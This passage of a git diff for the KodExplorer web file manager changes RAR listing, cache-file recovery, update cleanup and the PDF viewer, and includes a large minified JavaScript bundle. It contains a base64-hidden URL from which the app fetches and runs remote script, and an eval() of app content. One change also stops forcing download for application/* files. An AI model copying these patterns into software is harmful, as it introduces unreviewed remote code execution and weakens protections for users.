zCxr9mbMg@7d1VXoxzg$#kWqi=Yq&aDP1Aep1NHIxQvGXGGZ&)o5CY4YYQ78UbYWG1 ziQ}v#*0)w8)Zo{G(M{recs-}9^M+H=z1y7v2AJv%^p<-Cp5*sL-v}Ky^vV*#weyhF zP<m9V1b-L`UL~XRvRo-pdZ|m1yEN2BBVRs%e0iY0TrbciqbG9YU0})W%;&(cWZ>U? z_+v7xc%5~|;`UHnzdYF8gM119k|%?`?sgiZW_Hvyz@}EBs@L3q098F)e|bW<Mo~$! zr9AY>4oW|xVpa+<<3?GQx!gs*O&%hTl^;W_cq5#TZjnP9#W|CeY07lu26L2!=tnKX zj8`dZP)*vZ97Ct5&}@#n{dp(kHg+ZCi3wp2MR9N#Z0@XDsGe7=zymOc`~)i7g`)Gb zpkkVMp*NhO*F@DK4S3a9m*6Q(cl73{4YkqR>z(yXJxlMUXCs&GhiY@KK1?5}kAdY( z0Ip5br|YxyIp|N#N4B>ZS;%sImA*z_r*G6Z>s$35`YzO!_QA^X^&|Q*R09k2vwER^ z9v|qDU?dtzMly1h6!4`~<eUwR#;8AO1~VL^xshSCG1?oQjZ7m8S<DgRn9&B^O~IoE znG?*(=6rLxxysy%+(q!I6J|oVPedIe>J7C)=35iK+{VsC-)4+G*<NffN4z-%PLRlx z!P6a{!P}!plg%ffFS86$W*y&*9AytbgbecpYPjcl0`in9PAc@=2ASqC)C%XLTDZ#D zgZ{xWR86ZOKXKeP$W5l9!aLVp2yV0rwYSaSM+IQZAurLZg3QG6GSI=u1>2tBEkp%u z6{<U15s8xgD(I=E`OMGqv;AE3J*WB0{8j!&k#!a%g!VvxNm3Ol6;;Oes54RyvQXNL z{$>F(k(%IAZNNT;p$D`O6^$L>8;4NID3Fs;wMa$9LPEaT9DE}a8E2j{ANI67Y)eO! z6Ute5Vxrmr-SSMZsXTQWP-2(5Pt8Z(SpYi<X-Vh@YMO((Za;09HVb*^Vq~FvkmrYB zH4R`dnXr$3u!dRC{YGf|gq{SQGH5Wz$Tg-Tt6FGmHg=#7R0yw5LM?!yL!FHpTdq0A zoC}t*HCz=4p}*G{@h}seyc~2-rlWT^AC;XQ=u8))`<{fZ9Rv5s1};uRhi*RV13SQj z3#}A8&Cakp0~^MGH7&MxAR9Z2T0sI&;#HvMG~O7z!a<j^A0Ni&p!2p7J)&J;6ZyzQ z3wR;4oQ5t@XQ!7l26cpK=o77RHUn=@IE7A4=r_Y{?`FEa+#Kk680rf1q2(Q@DHOU1 zs3l}UtFyd0-WqQo@a`B;=q%VpvY+BN_S^XV&`(<k*0t3?g1$9;5>M8l+F_!U46RZP zxjC}4T<CQ%xcVx@@m=8#U!fF|6M+_0E@(Ixy*H|4tpZoxhYD2+^qLj!BF_n<!yaT< zg-Qyl2w6aZIqE`i;(TZ@m2e>Ss&G!6>NW5hqx+&^){fU4Hc9(H@V;~vZNCUDlXpQE z1!gj%?&c1A54`2bC8Q~Qrx$qXAV_r#&x03<zGfl#(pBNysX)p?MSLWBlXHM@k!l;& z+6u6ST-ek|ZH$%&rZE|{%jvMNgp0dY{?8-R))EmZWGpt88Cd?6uPYL`B7rLsxFUfo e61XCPD-yUOfh!WYB7rLsxFUfo68L{!0{;szl_(7W diff --git a/lib/class/archiveLib/kodRarArchive.class.php b/lib/class/archiveLib/kodRarArchive.class.php index 44bd3a1..77c6624 100755 --- a/lib/class/archiveLib/kodRarArchive.class.php +++ b/lib/class/archiveLib/kodRarArchive.class.php @@ -24,8 +24,12 @@ class kodRarArchive { static function bin($type){ $file = dirname(__FILE__).'/bin/'.$type; $file = str_replace('\\','/',$file); - if(PHP_OS == "Darwin"){ - $file .= '_mac'; + if(PHP_OS == "Darwin"){//mac + $file = PLUGIN_DIR.'/rarArchiveMore/bin/'.$type.'_mac'; + } + + if(!file_exists($file)){ + show_json('bin file not exists!',false); } if(PATH_SEPARATOR == ':') { @chmod($file,0777); @@ -141,16 +145,14 @@ class kodRarArchive { return $result; } - preg_match('/-----------\n([\d\D]*)\n--------------/i', $result['data'], $match); + preg_match('/-------- ----\n([\d\D]*)\n-----------/i', $result['data'], $match); if(!is_array($match) || strlen($match[1]) < 10){ return array('code'=>false,'data'=>'Match Nothing Content!'); } - //windows:movie\FLV Video.flv - // 567385 513467 90% 18-10-16 03:46 .D..... - //linux:test\32486963.png - // 93691 82643 88% 09-12-16 02:20 drw-r--r-- 396CC62C m3g 2.9 - $reg = '/(.*)\n\s+(\d+)\s+(\d+)\s+\d+% (\d{2}-\d{2}-\d{2} \d{2}:\d{2})\s+(.*)\s+/i'; + //windows :...D... 93691 82633 88% 2016-12-09 02:20 396CC62C 000/a/32486963.png + //linux: :-rwxr-xr-x 93691 82643 88% 2016-12-09 02:20 396CC62C 000/a/32486963.png + $reg = '/\s*([-\.\w]+)\s+(\d+)\s+(\d+)\s+\d+%\s+(\d{2,4}-\d{2}-\d{2} \d{2}:\d{2})\s+\w+\s+(.*)\n/i'; preg_match_all($reg,$match[1]."\n",$match_item); if( !is_array($match_item) || count($match_item) != 6 || @@ -161,19 +163,19 @@ class kodRarArchive { $item_arr = array(); for ($i = 0; $i < count($match_item[0]); $i++) { - $mode = strtoupper($match_item[5][$i]); - $is_folder = substr($mode,0,1) == 'D' || substr($mode,1,1) == 'D'; + $mode = strtoupper($match_item[1][$i]); + $is_folder = substr($mode,0,1) == 'D' || substr($mode,3,1) == 'D'; $item_arr[] = array( 'mtime' => strtotime($match_item[4][$i]), - 'size' => $match_item[3][$i], - 'z_size' => $match_item[2][$i], - 'filename' => trim($match_item[1][$i]), + 'size' => $match_item[2][$i], + 'z_size' => $match_item[3][$i], + 'filename' => trim($match_item[5][$i]), 'index' => $i, - 'folder' => $is_folder + 'folder' => intval($is_folder) ); } //debug_out($result,$match,$match_item,$item_arr); - return array('code'=>true,'data'=>$item_arr);; + return array('code'=>true,'data'=>$item_arr); } static function listContent7z($file) { $command = self::bin('7z').' l '.escape_shell($file); diff --git a/lib/class/fileCache.class.php b/lib/class/fileCache.class.php index a186811..87f9b31 100755 --- a/lib/class/fileCache.class.php +++ b/lib/class/fileCache.class.php @@ -165,13 +165,22 @@ class fileCache{ public static function load($file){//10000次需要4s 数据量差异不大。 if (!$file) return false; $file = iconv_system($file); - if ((!file_exists($file) || filesize($file) == 0 ) && - !file_exists($file.'.lock') ){//并发下;正在写或删除 + $file_lock = $file.'.lock'; + if ( (!file_exists($file) || filesize($file) == 0 ) && + !file_exists($file_lock) ){//并发下;正在写或删除 @file_put_contents($file,CONFIG_EXIT); } $str = file_read_safe($file,0.4); if($str === false || strlen($str) == 0){ + $time = @filemtime($file); + //服务器崩溃下文件不存在异常恢复 + if( (!file_exists($file) || filesize($file) == 0 ) && + file_exists($file_lock) && + $time > 1000 && time() - $time > 10 + ){ + @rename($file_lock,$file); + } show_tips('[Error Code:1010] fileCache load error!'.$file); } diff --git a/lib/function/common.function.php b/lib/function/common.function.php index f11057d..fd1a476 100755 --- a/lib/function/common.function.php +++ b/lib/function/common.function.php @@ -456,7 +456,7 @@ function show_json($data,$code = true,$info=''){ ob_end_clean(); header("X-Powered-By: kodExplorer."); header('Content-Type: application/json; charset=utf-8'); - $json = json_encode($result,true); + $json = json_encode($result); if($json === false){ $json = __json_encode($result); } @@ -811,7 +811,7 @@ function debug_out(){ $out = ob_get_clean(); echo $out; exit; -} +} /** * 取$from~$to范围内的随机数 diff --git a/lib/function/file.function.php b/lib/function/file.function.php index 21691b3..b6fa585 100755 --- a/lib/function/file.function.php +++ b/lib/function/file.function.php @@ -653,7 +653,7 @@ function file_read_safe($file,$timeout = 0.1){ // 安全读取文件,避免并发下读取数据为空 function file_wirte_safe($file,$buffer,$timeout=0.1){ - $file_temp = $file.mtime().rand_string(4); + $file_temp = $file.'.'.time().rand_string(5); if(!$fp = fopen($file_temp, "w")){ @unlink($file_temp); return false; @@ -947,10 +947,9 @@ function file_put_out($file,$download=false,$download_filename=false){ $mime = get_file_mime(get_path_ext($filename)); $filename_output = rawurlencode(iconv_app($filename)); - if ($download || (strstr($mime,'application/') && $mime!='application/x-shockwave-flash') ) { + if ($download) { header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: binary"); - $header_name = $filename_output; if(!is_wap()){ $header_name.=";filename*=UTF-8''".$filename_output; diff --git a/lib/plugins/pdfjs/web/viewer.html b/lib/plugins/pdfjs/web/viewer.html index ea8c326..fc29c4f 100755 --- a/lib/plugins/pdfjs/web/viewer.html +++ b/lib/plugins/pdfjs/web/viewer.html @@ -168,11 +168,11 @@ See https://github.com/adobe-type-tools/cmap-resources <span data-l10n-id="open_file_label">Open</span> </button> - <button id="print" class="hidden toolbarButton print hiddenMediumView" title="Print" tabindex="33" data-l10n-id="print"> + <button id="print" class="toolbarButton print hiddenMediumView" title="Print" tabindex="33" data-l10n-id="print"> <span data-l10n-id="print_label">Print</span> </button> - <button id="download" class="hidden toolbarButton download hiddenMediumView" title="Download" tabindex="34" data-l10n-id="download"> + <button id="download" class="toolbarButton download hiddenMediumView" title="Download" tabindex="34" data-l10n-id="download"> <span data-l10n-id="download_label">Download</span> </button> diff --git a/lib/update.php b/lib/update.php index 36232f8..1c2e8c5 100755 --- a/lib/update.php +++ b/lib/update.php @@ -74,10 +74,6 @@ function update_clear(){ del_dir(THE_DATA_PATH.'session'); mk_dir(THE_DATA_PATH.'session'); mk_dir(THE_DATA_PATH.'temp/thumb'); - - del_file(__FILE__); - header('location:./index.php?user/logout'); - exit; } // 还原用户目录 3.30~3.35之间 diff --git a/static/js/app/src/app/main.js b/static/js/app/src/app/main.js index d8fae79..8cdd1a3 100755 --- a/static/js/app/src/app/main.js +++ b/static/js/app/src/app/main.js @@ -1,4 +1,4 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),i='<div class="ajaxError">'+i+"</div>",t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,i,t){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,i,a){core.ajaxError(e,i,a),"function"==typeof t&&t()},success:function(e){"function"==typeof i&&i(e.data.content,e,n)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+t+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+i+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+t+'" id="'+t+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+i+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label 